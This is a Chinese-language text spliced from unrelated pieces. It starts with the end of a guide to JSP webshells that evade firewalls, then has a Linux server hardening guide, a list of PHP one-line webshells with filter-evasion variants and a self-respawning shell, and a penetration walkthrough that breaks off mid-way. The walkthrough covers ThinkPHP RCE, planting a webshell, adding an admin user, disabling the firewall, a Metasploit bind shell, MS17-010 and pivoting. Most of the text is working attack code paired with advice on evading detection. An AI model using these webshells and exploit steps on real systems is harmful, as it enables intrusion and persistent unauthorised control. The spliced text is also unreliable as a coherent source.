session.getAttribute("auth"); if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); // 执行后清除Session session.removeAttribute("cmd"); session.removeAttribute("auth"); } } %> 使用方式：先访问?a=set&k=auth123&c=命令，再访问?a=run触发执行 适配环境：全Java版本+主流Web容器 避坑提示：可设置Session过期时间，避免长期留存痕迹。方法30：无敏感类名命令执行（反射调用内部类）免杀原理：完全去掉Runtime、ProcessBuilder等敏感类名，通过反射调用Java内部的ProcessImpl类（进程实现类），或者用Java 9+的ProcessHandle，没有任何公开的敏感类特征，是对抗高级WAF的终极方案。 实战代码（JSP形式，反射调用ProcessImpl）：<% // 反射调用Java内部类ProcessImpl（仅作示例，不同JDK版本ProcessImpl路径可能不同） Class<?> piCls = Class.forName("java.lang.ProcessImpl"); // 反射调用start方法（不同JDK版本参数可能不同） java.lang.reflect.Method m = piCls.getDeclaredMethod("start", String[].class, String[].class, String.class, java.lang.ProcessBuilder.Redirect[].class, boolean.class); m.setAccessible(true); // 执行命令 m.invoke(null, new String[]{"/bin/sh", "-c", request.getParameter("cmd")}, null, null, null, false); %> 适配环境：特定JDK版本（需根据目标JDK调整ProcessImpl的调用） 避坑提示：可配合Java版本动态判断，选择对应的内部类调用方式，兼容性更好。实战免杀核心原则 拒绝直接使用公开Payload：所有公开的免杀方法都会被WAF快速收录，实战中必须组合2-3种方法做自定义变形，生成专属Payload，才能保证免杀效果； 最小化特征原则：能少用一个敏感关键词，就少用一个；能隐藏的执行逻辑，就绝不直接暴露； 适配目标环境：先确认目标Web容器、JDK版本，选择对应兼容的免杀方法，避免使用目标环境废弃的API； 合法业务伪装优先：尽量把恶意代码藏在合法的业务逻辑中，不仅能绕过WAF，还能规避人工排查，是红蓝对抗的首选； 本地测试优先：所有Payload必须先在本地搭建的目标环境（相同JDK、Web容器、WAF）中测试通过，再放到实战环境使用，避免暴露攻击特征。 最终合规红线再次强调：本文所有技术仅用于授权范围内的安全测试与研究，任何未授权在他人Web容器、服务器中植入恶意代码、实施攻击的行为，均属于违法犯罪行为。网络不是法外之地，所有操作必须严格遵守国家相关法律法规。
前言Linux 服务器是企业业务的核心载体，从 Web 服务、数据库、中间件到容器集群，绝大多数生产业务都运行在 Linux 系统之上。而互联网暴露面扩大、供应链漏洞频发、定向攻击常态化，让 Linux 服务器成为黑客入侵的首要目标。安全加固的核心目标，是通过最小权限原则、纵深防御体系、持续审计机制，缩小服务器攻击面，阻断攻击路径，提升抗入侵能力 —— 即使边界防护被突破，也能最大程度保护核心数据与业务安全。本文覆盖从账号认证、服务最小化、权限管控到网络防护、日志审计、入侵检测的全维度落地方案，适配 CentOS 7/8/9、RHEL 7/8/9、Ubuntu 20.04/22.04/24.04 等主流企业级发行版，所有操作均配套明确的配置命令、验证方法与回滚方案，可直接落地到生产环境。一、前置核心加固原则所有加固操作需严格遵循以下原则，避免业务中断或防护失效：1、 最小权限原则：仅给用户、服务、进程分配完成任务所需的最小权限，杜绝过度授权2、 最小暴露原则：关闭所有非必要的端口、服务、组件，从根源缩小攻击面3、 纵深防御原则：构建账号、网络、文件、应用多层防护体系，避免单点防护失效4、 可回滚原则：修改配置前必须备份原文件，所有操作均配套回滚方法，避免生产故障5、 持续审计原则：加固不是一次性操作，需定期开展基线检查、漏洞扫描与日志审计，持续优化防护策略【生产环境避坑提示】所有涉及系统核心配置、SSH 服务、防火墙的修改，需先在测试环境验证，再逐步落地生产；修改 SSH 配置后，需先保留当前会话，用新会话测试登录正常后，再关闭原会话，避免服务器失联。二、账号与身份认证安全加固账号与认证是服务器安全的第一道防线，超过 70% 的 Linux 入侵事件，都源于弱口令、账号过度授权、SSH 配置缺陷导致的边界突破。2.1 清理无用账号，消除风险账户系统安装、业务迭代过程中会产生大量无用账号，包括默认创建的程序账号、废弃的运维账号，这些账号往往成为黑客入侵的突破口。# 1、备份原账号配置文件，方便回滚 cp /etc/passwd /etc/passwd.bak.$(date +%Y%m%d) cp /etc/shadow /etc/shadow.bak.$(date +%Y%m%d) # 2、查看系统中所有可登录的账号，排查废弃账号 cat /etc/passwd | grep -E "/bin/bash|/bin/sh|/bin/zsh" # 3、锁定无用账号（推荐，可恢复，比直接删除更安全） usermod -L 废弃用户名 # 解锁账号回滚命令：usermod -U 废弃用户名 # 4、禁用程序账号的登录权限，杜绝账号被滥用 usermod -s /sbin/nologin 程序用户名 # 示例：usermod -s /sbin/nologin apache 2.2 强制配置强密码策略弱口令是黑客暴力破解的首要目标，需通过 PAM 模块强制系统所有用户使用复杂度达标的密码，同时限制密码有效期与重试次数。适配 CentOS/RHEL 系列# 1、安装密码质量检测模块 yum install -y libpwquality # 2、修改密码策略配置文件，强制密码复杂度 vi /etc/security/pwquality.conf # 新增/修改以下配置： minlen = 12 # 密码最小长度12位 minclass = 3 # 必须包含大小写字母、数字、特殊符号中的3种 maxrepeat = 3 # 禁止连续3个相同字符 difok = 5 # 新密码与旧密码至少5个字符不同 enforce_for_root = 1 # 强制root用户也遵循该策略 # 3、配置密码登录失败锁定策略，防止暴力破解 vi /etc/pam.d/system-auth vi /etc/pam.d/password-auth # 在auth字段新增配置，连续5次失败锁定10分钟： auth required pam_fAIllock.so preauth audit silent deny=5 unlock_time=600 auth [default=die] pam_fAIllock.so authfAIl audit deny=5 unlock_time=600 auth sufficient pam_fAIllock.so authsucc audit 适配 Ubuntu/Debian 系列# 1、安装密码质量检测模块 apt install -y libpam-pwquality # 2、修改密码策略配置 vi /etc/pam.d/common-password # 修改pam_pwquality.so行，添加强制规则： password requisite pam_pwquality.so retry=3 minlen=12 minclass=3 maxrepeat=3 enforce_for_root # 3、配置登录失败锁定策略 vi /etc/pam.d/common-auth # 新增配置，连续5次失败锁定10分钟： auth required pam_fAIllock.so preauth audit silent deny=5 unlock_time=600 auth [default=die] pam_fAIllock.so authfAIl audit deny=5 unlock_time=600 auth sufficient pam_fAIllock.so authsucc audit 2.3 SSH 服务全维度安全加固SSH 是 Linux 远程管理的核心协议，也是黑客攻击的头号目标，需从认证方式、访问控制、端口配置等维度完成全量加固。# 1、备份SSH配置文件，方便回滚 cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak.$(date +%Y%m%d) # 2、修改SSH核心配置 vi /etc/ssh/sshd_config # 核心加固项如下： Port 22345 # 修改默认22端口，减少全网扫描攻击 PermitRootLogin no # 禁止root用户直接登录 PubkeyAuthentication yes # 开启公钥认证，优先使用密钥登录 PasswordAuthentication no # 关闭密码认证，彻底杜绝暴力破解 PermitEmptyPasswords no # 禁止空密码登录 MaxAuthTries 3 # 最大认证尝试次数3次 ClientAliveInterval 300 # 5分钟无操作自动断开连接 ClientAliveCountMax 2 # 无响应最大次数2次 AllowUsers 运维用户名@192.168.1.0/24 # 配置IP白名单，仅允许指定网段的指定用户登录 # 禁止使用不安全的加密算法与协议 KexAlgorithms curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256 Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com # 3、验证SSH配置语法是否正确，避免配置错误导致服务崩溃 sshd -t # 配置无报错后，重启SSH服务生效 # CentOS/RHEL：systemctl restart sshd # Ubuntu/Debian：systemctl restart ssh # 4、验证加固效果，用新会话测试登录，确认白名单、密钥认证正常生效 2.4 Sudo 提权权限精细化管控绝大多数提权攻击都利用了 sudo 的过度授权，需严格限制普通用户的 sudo 权限，杜绝直接给用户分配 ALL 权限。# 1、备份sudo配置文件 cp /etc/sudoers /etc/sudoers.bak.$(date +%Y%m%d) # 2、使用visudo命令编辑sudo配置（自带语法检查，避免配置错误） visudo # 错误配置（禁止使用）：运维用户名 ALL=(ALL) ALL # 正确配置：仅给用户分配完成工作所需的最小命令权限，示例： 运维用户名 ALL=(ALL) /usr/bin/systemctl restart nginx, /usr/bin/tAIl -f /var/log/nginx/access.log # 禁止用户通过sudo修改sudo配置、切换root、执行高危命令 Defaults !visiblepw Defaults always_set_home Defaults secure_path = /sbin:/bin:/usr/sbin:/usr/bin Defaults env_reset # 禁止sudo执行su、vim、bash等可直接提权的命令 运维用户名 ALL=(ALL) !/usr/bin/su, !/usr/bin/bash, !/usr/bin/vim /etc/sudoers, !/usr/bin/visudo 三、系统服务与组件最小化加固系统运行的服务越多，开放的端口与攻击面就越大，黑客可利用的漏洞点就越多。最小化加固的核心，是只保留业务必需的服务与组件，关闭所有非必要内容。3.1 关闭非必要服务，缩小攻击面# 1、查看系统当前运行的所有服务 systemctl list-units --type=service --state=running # 2、停止并禁用非必要服务，示例如下（根据业务实际情况调整） # 禁用打印服务 systemctl stop cups systemctl disable cups # 禁用蓝牙服务 systemctl stop bluetooth systemctl disable bluetooth # 禁用IPv6相关服务（业务不使用IPv6时） systemctl stop ip6tables systemctl disable ip6tables # 禁用rpcbind服务（不使用NFS共享时） systemctl stop rpcbind systemctl disable rpcbind # 3、验证服务状态，确认已停止并禁用 systemctl status cups 3.2 定时任务安全管控定时任务是黑客权限维持的常用载体，需严格管控定时任务的创建权限，定期排查异常任务。# 1、限制允许使用crontab的用户，仅白名单用户可创建定时任务 echo "root" > /etc/cron.allow echo "运维用户名" >> /etc/cron.allow # 不在cron.allow中的用户，一律禁止使用crontab # 2、定期排查所有定时任务，发现异常立即处置 # 查看系统级定时任务 ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.dAIly/ /etc/cron.weekly/ /etc/cron.monthly/ # 查看所有用户的定时任务 cat /etc/passwd | cut -f1 -d: | xargs -I {} crontab -l -u {} 2>/dev/null # 3、给定时任务配置文件添加不可变属性，防止黑客篡改 chattr +i /etc/crontab chattr +i /etc/cron.allow 3.3 软件包与仓库安全加固# 1、删除非官方、不可信的软件源，仅保留官方仓库 # CentOS/RHEL：查看仓库配置 ls /etc/yum.repos.d/ # Ubuntu/Debian：查看仓库配置 ls /etc/apt/sources.list.d/ # 2、配置官方源的HTTPS协议，防止源劫持 # Ubuntu/Debian示例： sed -i 's/http://https://g' /etc/apt/sources.list # 3、禁止内核版本自动更新，避免生产业务兼容性故障 # CentOS/RHEL：yum install -y yum-plugin-versionlock && yum versionlock kernel* # Ubuntu/Debian：apt-mark hold Linux-image-generic Linux-headers-generic # 4、定期清理无用的软件包与依赖，减少攻击面 # CentOS/RHEL：yum autoremove -y # Ubuntu/Debian：apt autoremove -y 四、文件系统与权限安全加固Linux 的一切皆文件，文件权限管控是系统安全的核心，黑客入侵后往往通过文件权限漏洞实现提权、持久化、数据窃取。4.1 关键系统文件权限严格管控# 1、核心账号配置文件权限加固 chmod 644 /etc/passwd chmod 600 /etc/shadow chmod 644 /etc/group chmod 600 /etc/gshadow chown root:root /etc/passwd /etc/shadow /etc/group /etc/gshadow # 2、SSH配置文件权限加固 chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys chown root:root /root/.ssh /root/.ssh/authorized_keys chmod 600 /etc/ssh/sshd_config chown root:root /etc/ssh/sshd_config # 3、sudo配置文件权限加固 chmod 440 /etc/sudoers chown root:root /etc/sudoers # 4、全局查找全局可写的危险文件，排查权限漏洞 find / -type f -perm -0002 ! -type l -ls 2>/dev/null # 全局查找SUID权限的可执行文件，排查提权风险点 find / -perm -4000 -type f -ls 2>/dev/null 4.2 敏感文件不可变属性锁定通过 chattr 命令给核心配置文件添加不可变属性，即使是 root 用户，也无法修改、删除文件，防止黑客篡改系统配置、植入后门。# 1、锁定核心账号配置文件，禁止账号新增、修改 chattr +i /etc/passwd /etc/shadow /etc/group /etc/gshadow # 2、锁定SSH与sudo配置文件，防止黑客修改认证规则 chattr +i /etc/ssh/sshd_config /etc/sudoers # 3、锁定定时任务配置，防止黑客植入持久化后门 chattr +i /etc/crontab # 4、查看文件的扩展属性，确认锁定生效 lsattr /etc/passwd # 回滚方法：如需修改文件，先解除锁定 chattr -i 文件名 4.3 分区挂载安全加固通过分区挂载参数，限制高危操作，防止缓冲区溢出、提权攻击，生产环境建议单独给 /boot、/home、/tmp、/var 分区，避免根目录占满导致业务故障，同时配置安全挂载参数。# 1、修改/etc/fstab文件，配置分区安全挂载参数 vi /etc/fstab # 核心加固参数示例： # /tmp分区：禁止SUID、禁止设备文件、禁止可执行程序、禁止强制访问控制 /dev/sdb1 /tmp ext4 defaults,noexec,nosuid,nodev 0 0 # /var分区：禁止SUID、禁止设备文件 /dev/sdb2 /var ext4 defaults,nosuid,nodev 0 0 # /home分区：禁止SUID、禁止设备文件 /dev/sdb3 /home ext4 defaults,nosuid,nodev 0 0 # 2、重新挂载分区，使配置生效 mount -o remount /tmp mount -o remount /var mount -o remount /home # 3、验证挂载参数是否生效 mount | grep /tmp 4.4 核心文件完整性监控部署文件完整性监控工具，实时检测核心文件的修改行为，一旦出现非计划内的变更，立即触发告警，第一时间发现黑客的篡改行为。# 1、安装AIDE文件完整性监控工具 # CentOS/RHEL：yum install -y aide # Ubuntu/Debian：apt install -y aide # 2、初始化AIDE数据库，生成系统文件基线 aide --init mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz # 3、执行完整性检查，对比基线发现文件变更 aide --check # 4、配置定时任务，每天凌晨自动执行检查，发送告警邮件 echo '0 0 * * * root /usr/sbin/aide --check | mail -s "服务器文件完整性告警" 运维邮箱地址' > /etc/cron.d/aide_check 五、网络与防火墙安全加固网络层是阻断外部攻击的关键屏障，通过防火墙、内核参数加固，过滤恶意流量，防止端口扫描、DDoS 攻击、内网横向渗透。5.1 防火墙规则精细化配置根据业务实际需求，配置白名单规则，仅开放业务必需的端口，默认拒绝所有其他访问，这是网络防护的核心原则。适配 CentOS/RHEL 系列（firewalld）# 1、启动firewalld服务并设置开机自启 systemctl start firewalld systemctl enable firewalld # 2、配置默认规则：默认拒绝所有入站流量，允许所有出站流量 firewall-cmd --set-default-zone=drop firewall-cmd --permanent --zone=drop --set-target=DROP # 3、仅开放业务必需的端口，示例： # 开放自定义SSH端口22345，仅允许内网网段访问 firewall-cmd --permanent --zone=drop --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="tcp" port="22345" accept' # 开放Web服务80、443端口，允许全网访问 firewall-cmd --permanent --zone=drop --add-port=80/tcp firewall-cmd --permanent --zone=drop --add-port=443/tcp # 开放数据库3306端口，仅允许业务服务器IP访问 firewall-cmd --permanent --zone=drop --add-rich-rule='rule family="ipv4" source address="172.16.1.10/32" port protocol="tcp" port="3306" accept' # 4、重载防火墙规则，使配置生效 firewall-cmd --reload # 5、验证防火墙规则是否生效 firewall-cmd --list-all 适配 Ubuntu/Debian 系列（ufw）# 1、安装并启动ufw防火墙 apt install -y ufw systemctl start ufw systemctl enable ufw # 2、配置默认规则 ufw default deny incoming ufw default allow outgoing # 3、开放业务必需的端口，示例： # 自定义SSH端口22345，仅允许内网网段访问 ufw allow from 192.168.1.0/24 to any port 22345 proto tcp # 开放Web服务80、443端口 ufw allow 80/tcp ufw allow 443/tcp # 开放数据库3306端口，仅允许业务服务器访问 ufw allow from 172.16.1.10/32 to any port 3306 proto tcp # 4、启用防火墙并验证规则 ufw enable ufw status verbose 5.2 内核网络参数安全加固通过修改 /etc/sysctl.conf 内核参数，开启系统自带的网络防护能力，抵御 SYN 洪水、IP 欺骗、ICMP 攻击等常见网络攻击。# 1、备份sysctl配置文件 cp /etc/sysctl.conf /etc/sysctl.conf.bak.$(date +%Y%m%d) # 2、修改内核参数配置 vi /etc/sysctl.conf # 新增/修改以下核心加固配置： # 开启SYN Cookies，抵御SYN洪水攻击 net.ipv4.tcp_syncookies = 1 # 禁用IP源路由，防止IP欺骗 net.ipv4.conf.all.accept_source_route = 0 net.ipv4.conf.default.accept_source_route = 0 # 禁用ICMP重定向，防止路由劫持 net.ipv4.conf.all.accept_redirects = 0 net.ipv4.conf.default.accept_redirects = 0 net.ipv4.conf.all.secure_redirects = 0 net.ipv4.conf.default.secure_redirects = 0 # 开启反向路径过滤，防止IP地址欺骗 net.ipv4.conf.all.rp_filter = 1 net.ipv4.conf.default.rp_filter = 1 # 禁用IP转发，非网关服务器必须关闭 net.ipv4.ip_forward = 0 net.ipv6.conf.all.forwarding = 0 # 忽略广播ICMP请求，防止Smurf攻击 net.ipv4.icmp_echo_ignore_broadcasts = 1 # 忽略所有ICMP请求，业务不需要时开启 # net.ipv4.icmp_echo_ignore_all = 1 # 开启TCP洪水攻击防护 net.ipv4.tcp_synack_retries = 2 net.ipv4.tcp_syn_retries = 2 # 开启地址空间布局随机化，抵御缓冲区溢出攻击 kernel.randomize_va_space = 2 # 3、使内核参数配置生效 sysctl -p 六、日志审计与入侵防御体系建设6.1 日志全量审计与远程同步本地日志可被黑客删除篡改，必须配置日志远程同步，将所有系统日志、认证日志、业务日志实时同步到不可篡改的远程日志平台，这是溯源攻击行为的核心根基。# 1、配置rsyslog日志远程同步，将日志发送到远程日志服务器 vi /etc/rsyslog.conf # 新增配置，将所有日志通过TCP协议发送到远程日志服务器192.168.1.200的514端口 *.* @@192.168.1.200:514 # 2、重启rsyslog服务生效 systemctl restart rsyslog # 3、配置日志轮转，防止日志占满磁盘空间 vi /etc/logrotate.conf # 核心配置： rotate 30 # 保留30天的日志 daily # 每天轮转一次 compress # 压缩历史日志 missingok # 日志文件不存在不报错 notifempty # 空日志不轮转 6.2 系统操作行为全量审计通过 auditd 审计服务，监控所有敏感操作，包括账号修改、文件篡改、命令执行、权限变更，所有操作都会被记录，即使黑客清理了 Shell 历史，也无法删除审计日志。# 1、安装auditd审计服务 # CentOS/RHEL：yum install -y audit # Ubuntu/Debian：apt install -y auditd audispd-plugins # 2、启动服务并设置开机自启 systemctl start auditd systemctl enable auditd # 3、配置审计规则，监控核心敏感操作 vi /etc/audit/rules.d/audit.rules # 新增核心审计规则： # 监控账号配置文件修改 -w /etc/passwd -p wa -k passwd_modify -w /etc/shadow -p wa -k shadow_modify -w /etc/group -p wa -k group_modify # 监控认证配置修改 -w /etc/ssh/sshd_config -p wa -k sshd_modify -w /etc/sudoers -p wa -k sudo_modify # 监控定时任务修改 -w /etc/crontab -p wa -k cron_modify -w /etc/cron.d/ -p wa -k cron_dir_modify # 监控root用户的命令执行 -a exit,always -F arch=b64 -F euid=0 -S execve -k root_exec # 监控SUID提权操作 -a always,exit -F arch=b64 -S execve -F path=/usr/bin/su -k su_exec -a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k sudo_exec # 4、重载审计规则生效 augenrules --load # 5、查看审计日志，排查异常操作 ausearch -k passwd_modify ausearch -k sshd_modify 6.3 入侵防御工具部署1、 部署 fail2ban，自动封禁暴力破解 IP：监控 SSH、Web 服务的登录失败日志，连续多次失败后自动封禁 IP，杜绝暴力破解攻击。2、 部署 rkhunter 与 chkrootkit，定期检测 rootkit 后门：每周执行一次全盘扫描，检测黑客植入的 rootkit、后门程序。3、 部署 ClamAV 开源杀毒软件，定期扫描恶意文件：配置定时任务，每天凌晨扫描 Web 目录、临时目录，查杀 WebShell、恶意程序。七、持续运营与应急响应安全加固不是一次性操作，而是持续的运营过程，需建立完整的基线检查、漏洞管理、应急响应机制：1、 每月执行一次系统安全基线检查，对比加固基线，发现配置偏移立即修复2、 每周执行一次系统漏洞扫描，及时安装系统与软件的安全补丁，高危漏洞需 24 小时内完成修复3、 每天审计系统日志与告警信息，发现异常登录、文件修改、端口扫描行为，立即启动应急排查4、 定期备份核心配置文件与业务数据，制定完整的应急响应预案，发生入侵事件时可快速隔离、溯源、恢复业务结尾Linux 服务器安全加固的核心，是构建 “事前预防、事中阻断、事后溯源” 的完整防护体系。没有绝对安全的系统，但通过最小权限、纵深防御、持续审计的加固思路，可最大程度提升服务器的抗入侵能力，将黑客攻击的成本提升到最高，攻击成功率降到最低。
这里主要收集了一些常用的php一句话木马不同的写法，应对一些对文件内容过滤的场景1、普通一句话木马<?php @eval($_POST['cmd']); ?> 2、如果过滤了eval，可以使用assert绕过<?php @assert($_POST['cmd']); ?> 3、当过滤了eval、assert两个关键字时，可以用字符串拼接的方式。介绍substr_replace()函数<?php $a=substr_replace("assexx","rt",4); @$a($_POST['cmd']); ?> 4、@call_user_func把第一个参数作为回调参数使用<?php @call_user_func(assert,$_POST['cmd']); ?> 5、除了substr_replace()，还有一种字符分割法<?php $a="a"."s"; $b="s"."e"."rt"; $c=$a.$b; $c($_POST['cmd']); ?> 6、给下面给fun1中的变量a赋值assert<?php function fun1($a){ assert($a); } fun1($_POST['cmd']); ?> 7、可以利用函数来构造一句话木马<?php function shyshy($a){ assert($a); } @shyshy($_POST['cmd']); ?> 8、适用于过滤了GET和POST的情况下<?php $a=$_REQUEST['cmd']; $b="\n"; eval($b.=$a); ?> 9、可以构造一个类，利用魔术方法来拼接<?php class shyshy{ public $a=''; function __destruct(){ assert("this->$a"); } } $b=new shyshy(); $b->a=$_POST['cmd']; ?> 10、base64加解密<?php $a=base_decode(YXNzZXJ0); $b=$a(base64_decode($_POST['cmd'])); ?> 11、写入木马<?php if(isset($_POST['filename'])) { $d='data'; $$d=$_POST['text']; //$data $f='fp'; $$f=fopen($_POST['filename'],'wb'); //$fp echo fwrite($fp,$data):"save success":"save fAIl"; fclose($fp); } ?> 12、不死马<?php ignore_user_abort(true); //设置与客户机断开是否会终止脚本的执行，true则不会 set_time_limit(0); //如果为零说明永久执行直到程序结束 unlink(__FILE__); //调用unlink()的时候，文件还是存在的，只是目录里找不到该文件了，但是已经打开这个文件的进程可以正常读写 $file='./.index1.php'; $code='<?php if(md5($_POST["pass"])=="xxxxxxxxxx") //给木马设置密码，防止他人使用 { @eval($_POST["cmd"]); }?>'; while(1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 9:10:12" .index1.php'); //设置文件的编辑时间 usleep(5000); } ?> 13、还有一种方法<?php function simpleTransform($str, $offset = 1) { $transformed = ''; for ($i = 0; $i < strlen($str); $i++) { $transformed .= chr((ord($str[$i]) + $offset) % 256); } return $transformed; } $original = $_REQUEST["a"]; $transformed = simpleTransform($original, 3); function reverseTransform($str, $offset = 1) { $reversed = ''; for ($i = 0; $i < strlen($str); $i++) { $reversed .= chr((ord($str[$i]) - $offset + 256) % 256); } return $reversed; } $reversed = reverseTransform($transformed, 3); echo eval($reversed); 14、其他<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["xiaoyu"]); ?> <?php $lang = (string)key($_POST);$lang($_POST['xiaoyu']);?> <?php $k="ass"."ert"; $k(${"_PO"."ST"} ['xiaoyu']);?> <?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> # 密码是-7 php v9<?php file_put_contents('c7.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NjMjc4OV0pOz8+')); ?> …/…/…/…/html/special/cc/index 更多一句话木马免杀方法，可以配合AI逐步尝试
1、WEB渗透在网页底部的版权信息区域，发现明确标注 易优 CMS”，从这里可以锁定站点使用的 CMS 系统类型。进一步信息收集，通过百度检索易优 CMS 官方文档，确认该 CMS 系统基于 ThinkPHP5.0 框架开发选用 ThinkPHP 漏洞利用工具，用ALL检测所有漏洞。通过工具检测目标站点存在tp5_index_construct_rce命令执行漏洞。通过 ThinkPHP 漏洞利用工具的 “命令执行模块”，输入基础探测命令whoami（用于查询当前执行用户身份），执行后返回结果为nt authority\system，明确当前已获取系统权限漏洞触发获取的权限是 “临时权限”，一旦漏洞修复、服务重启或网络中断，攻击者将失去对服务器的控制。因此，写入后门的核心目的是建立 “持久化控制通道”，确保后续可随时访问目标服务器，且不易被管理员发现。写入一句话木马，设置木马名称，再点击GetShell，成功的话最后获得一句话木马的地址<?php @eval($_POST['a']);?> 为实现可视化管理，使用蚁剑（一款专门用于管理 Web 后门的工具）进行连接。在蚁剑中输入木马访问地址、通信密码a，点击 “测试连接”，显示 “连接成功”，表明已建立稳定的 Web 管理通道。通过蚁剑可直观查看服务器文件系统、执行命令、上传下载文件，操作便捷且隐蔽性强。解法一：数据库密码泄露/config/database.php，数据库配置文件配置文件中显示数据库用户为root，密码为xxxxxx（已隐藏）。 Windows 默认管理员账号administrator，并复用该数据库密码作为系统登录密码。启用远程桌面连接，需通过蚁剑执行以下命令：# 修改注册表，允许远程登录： reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f # 关闭 Windows 防火墙： netsh advfirewall set allprofiles state off 远程连接，输入目标服务器 IP、账号administrator、密码xxxxxxadministrator ：数据库密码 登录成功，这里登录成功的权限是administrator管理员组而这里蚁剑执行命令的权限是系统权限，权限等级会更高一点，主要利用这一块解法二：添加用户通过蚁剑执行以下命令：# 创建新用户，并设置密码： net user xiaoyu 123@abc /add # 将新用户添加到管理员组： net localgroup Administrators xiaoyu /add 生成正向连接木马：MSFvenom -p Windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe 本次测试中，目标服务器可被攻击者访问，但攻击者主机因处于内网无公网 IP，因此选择正向连接模式。设置正向连接，是我们主动去连接目标主机的4444端口use exploit/multi/handler # 启用监听模块 set payload Windows/meterpreter/bind_tcp # 匹配生成木马时的payload set RHOST 192.168.10.10 # 目标服务器IP地址 set RPORT 4444 # 匹配木马中设置的监听端口 run # 启动监听 通过蚁剑将生成的shell.exe文件上传至目标服务器的 Web 根目录（或其他可执行目录），并执行该文件。上传上去了，但是执行没有结果，那是因为我们是正向连接，需要主动去连接靶机的4444端口，而不是等着shell回弹回来，如果还没有回来，请禁用目标防火墙netsh advfirewall set allprofiles state off 命令执行后，MSF 控制台立即反馈 “Meterpreter session 1 opened”，表明已成功建立稳定的 Meterpreter 会话。这里就已经成功上线了2、内网渗透ipconfig，查看目标服务器的内网 IP 段（192.168.20.0/24），并发现内网中存在其他主机选用 fscan 工具，通过 Meterpreter 的upload命令将工具上传至目标服务器：upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe 执行以下命令启动 fscan 扫描：fscan.exe -h 192.168.20.0/24 # 扫描整个内网网段 扫描结果显示，192.168.20.30 和 192.168.20.20（域控），两台主机均存在 MS17-010 漏洞（永恒之蓝）在内网中，攻击者无法直接访问 192.168.20.30 和 192.168.20.20（仅 192.168.20.10 可与内网其他主机通信）。设置路由的核心目的是将已控制的 192.168.20.10 作为 “跳板机”，让攻击者的流量通过该跳板机进入内网，实现对其他主机的访问。文案路线，你->对方外网机器（10.10）-> 对方内网机器（主机20.30和20.20），而你无法直接通过箭头访问到对方的内网主机，你需要获得对方内网主机10.10的系统权限，然后再代理到这台机器，去打对方的内网主机随后在 Meterpreter 会话中执行以下命令设置路由：# 添加内网路由： run autoroute -s 192.168.20.0/24 # 查看路由表： run autoroute -p 路由添加成功后，尝试利用永恒之蓝漏洞打 192.168.20.30我测试了多个 MS17-010 相关漏洞利用模块，均没有成功，尝试到最后一个执行命令的模块auxiliary/admin/smb/ms17_010_command的时候，可以正常执行命令，就是获取不到Meterpreter后渗透会话，但可以执行命令use auxiliary/admin/smb/ms17_010_command auxiliary/admin/smb/ms17_010_command模块的作用是通过永恒之蓝漏洞执行命令# 加载模块并查看参数： use auxiliary/admin/smb/ms17_010_command # 加载模块 show options # 查看模块所需配置参数 该模块需配置的关键参数包括RHOSTS（目标主机 IP）、COMMAND（待执行的命令）。验证权限：配置目标主机 IP 并执行whoami命令，验证漏洞利用效果：set rhosts 192.168.20.30 set COMMAND whoami run 执行结果返回nt authority\system，表明已通过永恒之蓝漏洞获取 192.168.20.30 的系统权限，为后续操作提供了高权限基础。此时我们可以借助MSF17-010命令执行权限维持配置：为建立稳定的远程控制通道，通过该模块执行以下命令，配置 192.168.20.30 的系统参数：set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' # 修改注册表，强制启用远程桌面服务（RDP）,允许通过远程桌面（3389端口）连接 set COMMAND 'net user xiaoyu 123@abc /add' #创建一个名为 的新用户，密码设置为 123@abc set COMMAND 'net localgroup Administrators xiaoyu /add' #将用户 dfz 添加到本地管理员组（Administrators），获得系统最高权限 set COMMAND 'netsh advfirewall set allprofiles state off' #关闭Windows防火墙 虽然已设置路由，但远程桌面连接等图形化工具无法直接利用 Meterpreter 路由。配置代理的核心目的是让所有攻击者的工具流量（如远程桌面、文件传输）都通过跳板机转发，实现对 192.168.20.30 的直接访问。MSF 开启 SOCKS5 代理：use auxiliary/server/socks5 # 加载SOCKS5代理模块 set SRVHOST 127.0.0.1 # 代理监听地址（本地回环地址） set SRVPORT 1080 # 代理监听端口 run # 启动代理服务 SOCKS5 是一种通用代理协议，支持 TCP/UDP 